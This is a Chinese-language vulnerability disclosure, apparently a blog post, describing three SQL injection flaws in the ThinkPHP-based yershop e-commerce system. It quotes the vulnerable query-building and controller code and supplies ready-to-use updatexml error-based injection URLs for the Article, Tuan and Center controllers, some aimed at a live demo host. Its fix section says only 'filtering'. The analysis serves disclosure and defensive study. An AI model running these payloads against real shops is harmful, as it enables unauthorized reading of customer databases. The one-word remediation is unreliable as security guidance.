###0x01漏洞简介
yershop是采用thinkphp框架开发的一套商城系统。其在以下3处存在SQL注入漏洞:
(1)Driver.class.php
可以通过以下的payload进行注入:
```
index.php?c=Article&a=index&category[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&category[1]=xxxx
```
(2)TuanController.class.php
可以通过以下的payload进行注入:
```
/index.php?c=Tuan&a=category&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx
```
(3)CenterController.class.php
可以通过以下的payload进行注入:
```
index.php?c=Center&a=msg&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx
```
###0x02漏洞详情
看到数据库操作函数
```
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) { // 比较运算
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$likeStr = $this->comparison[strtolower($val[0])];
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$likeStr.' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}
}elseif('bind'==strtolower($val[0])){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp'==strtolower($val[0])){ // 使用表达式
$whereStr .= $key.' '.$val[1];
}elseif(preg_match('/IN/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
}
}elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}else{
E(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= $key.' '.$data.' '.$rule.' ';
}else{
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
}
}
$whereStr = '( '.substr($whereStr,0,-4).' )';
}
}else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
```
如果我们传入的val中val[0]里面含有in或者between的话,后面就可以插入任意的sql语句
注入#1
看到代码
```
public function index(){
$cateid= $id ? $id : I('get.category', 0);//获取分类的英文名称
$category = D('Category')->info($cateid);
$id=$category['id'];
$cid = D('Category')->getChildrenId($id);
$map['category_id']=array("in",$cid);
$map['status']=1;
//推荐商品
$pos=M('Document')->where("position!=0")->select();
$this->assign("poslist",$pos);
$key=I('get.order');
$sort=I('get.sort');
if(isset($key)){
if($key=="1"){ $listsort="view"." ".$sort;}
if($key=="2"){ $listsort="id"." ".$sort;}
if($key=="3"){ $listsort="price"." ".$sort;}
if($key=="4"){ $listsort="sale"." ".$sort;}
}
if(empty($key)){$key="1";$see="asc";
$order="view";$sort="asc";
$listsort=$order." ".$sort;
}
if($sort=="asc"){$see="desc";}
if($sort=="desc"){$see="asc";}
$this->assign('see',$see);
$this->assign('order',$key);
$this->assign('value',$sort);
$count=M('Document')->where($map)->count();
$Page= new \Think\Page($count,15);
$Page->setConfig('prev','上一页');
$Page->setConfig('next','下一页');
$Page->setConfig('first','第一页');
$Page->setConfig('last','尾页');
$Page->setConfig('theme','%FIRST% %UP_PAGE% %LINK_PAGE% %DOWN_PAGE% %END% %HEADER%');
$show= $Page->show();
$list= M('Document')->where($map)->order( $listsort)->limit($Page->firstRow.','.$Page->listRows)->select();
$this->assign('list',$list);// 赋值数据集
$this->assign('page',$show);//
//获取分类的id
$name=$category['name'];
$child=M('Category')->where("pid='$id'")->select();
$this->assign('num', $count);
$this->assign('childlist', $child);
/* 左侧菜单 */
$menu=R('index/menulist');
$this->assign('categoryq', $menu);
/**
* 购物车调用
*/
$cart=R("shopcart/usercart");
$this->assign('usercart',$cart);
if(!session('user_auth')){$usercart=$_SESSION['cart'];
$this->assign('usercart',$usercart);
}
/*栏目页统计代码实现,tag=2*/
if(1==C('IP_TONGJI')){
$record=IpLookup("",2,$name);
}
/* 底部分类调用*/
$menulist=R('Service/AllMenu');
$this->assign('footermenu',$menulist);
/* 热词调用*/
$hotsearch=R("Index/getHotsearch");
$this->assign('hotsearch',$hotsearch);
/* 分类信息 */
$category = $this->category();
//频道页循环3级分类
$this->meta_title = $category['title'];
/*销量排行*/
$sales=$this->ranks();
$this->assign('sales', $sales);
/*最近访问*/
$recent=$this->view_recent();
$this->assign('recent', $recent);
/* 模板赋值并渲染模板 */
$this->assign('category', $category);
$this->display($category['template_index']);
}
```
其中category通过I函数获取,然后进入sql里面。我们可以构造
```
index.php?c=Article&a=index&category[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&category[1]=xxxx
```

注入#2
```
public function category() {
/* 热词调用*/
$hotsearch=R("Index/getHotsearch");
$this->assign('hotsearch',$hotsearch);
/* 购物车调用*/
$cart=R("Shopcart/usercart");
$this->assign('usercart',$cart);
if(!session('user_auth')){$usercart=$_SESSION['cart'];
$this->assign('usercart',$usercart);
}
/* 底部分类调用*/
$menulist=R('Service/AllMenu');
$this->assign('footermenu',$menulist);
/* 左侧分类列表*/
$mlist=R('Index/menulist');
$this->assign('categoryq', $mlist);
/** * 控制器必须!**/
$tuan=M("tuan");
$category=$tuan->order("id")->select();//团购分类
$this->assign('category',$category);// 赋值数据集
/* 获取商品*/
$pid= $id ? $id : I('get.id', 0);
$t=$tuan->find($pid);//团购分类
//获取分类的英文名称
$this->meta_title = '团购_'.$t['title'];
$key=I('get.order');
$sort=I('get.sort');
if(isset($key)){
if($key=="1"){ $listsort="view"." ".$sort;}
if($key=="2"){ $listsort="goodid"." ".$sort;}
if($key=="3"){ $listsort="price"." ".$sort;}
if($key=="4"){ $listsort="salenumber"." ".$sort;}
}
if(empty($key)){$key="1";$see="asc";
$order="view";$sort="asc";
$listsort=$order." ".$sort;
}
if($sort=="asc"){$see="desc";}
if($sort=="desc"){$see="asc";}
$this->assign('see',$see);
$this->assign('order',$key);
$this->assign('value',$sort);
$tuan=M("tuan");
$category=$tuan->order("id")->select();//团购分类
$this->assign('category',$category);// 赋值数据集
/* 获取商品*/
$User =M("tuanid");
$map['tuanpid']=I('get.id');;
$this->assign('id',$pid);// 赋值数据集
$User =M("tuanid");
$count= $User->where($map)->count();
$Page= new \Think\Page($count,12);
$Page->setConfig('prev','上一页');
$Page->setConfig('next','下一页');
$Page->setConfig('first','第一页');
$Page->setConfig('last','尾页');
$Page->setConfig('theme','%FIRST% %UP_PAGE% %LINK_PAGE% %DOWN_PAGE% %END% %HEADER%');
$show= $Page->show();
$list=$User->where($map)->order($listsort)->limit($Page->firstRow.','.$Page->listRows)->select();
$this->assign('list',$list);// 赋值数据集
$this->assign('page',$show);// 赋值分页输出 $this->display();
$this->display();
```
其中id参数可以注入
构造
```
http://demo.yershop.com/index.php?c=Tuan&a=category&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx
```

注入#3
```
/***站内信读取***/
public function msg() {
if(!is_login()){
$this->error( "您还没有登陆",U("User/login") );
}
/* 购物车调用*/
$cart=R("shopcart/usercart");
$this->assign('usercart',$cart);
if(!session('user_auth'))
{
$usercart=$_SESSION['cart'];
$this->assign('usercart',$usercart);
}
/* 底部分类调用*/
$menulist=R('Service/AllMenu');
$this->assign('footermenu',$menulist);
/* 热词调用*/
$hotsearch=R("Index/getHotsearch");
$this->assign('hotsearch',$hotsearch);
$menu=R('index/menulist');
$this->assign('categoryq', $menu);
$envelope= M("personenvelope");
$uid=D("member")->uid();
$id=I("get.id");
/* 更新浏览数 */
$map = array('id' => $id);
$envelope->where($map)->setInc('view');
$list=$envelope->find($id);
$envelope->where($map)->setField("status",2);
$this->assign("list",$list);
$this->meta_title = '查看站内信';
$this->display();
}
```
id通过I函数获取可以注入构造
```
http://demo.yershop.com/index.php?c=Center&a=msg&id[0]==1 or updatexml(1,concat(1,(select concat(user(),1,version()))),1)%23in&id[1]=xxx
```

###0x03修复方案
过滤。
暂无评论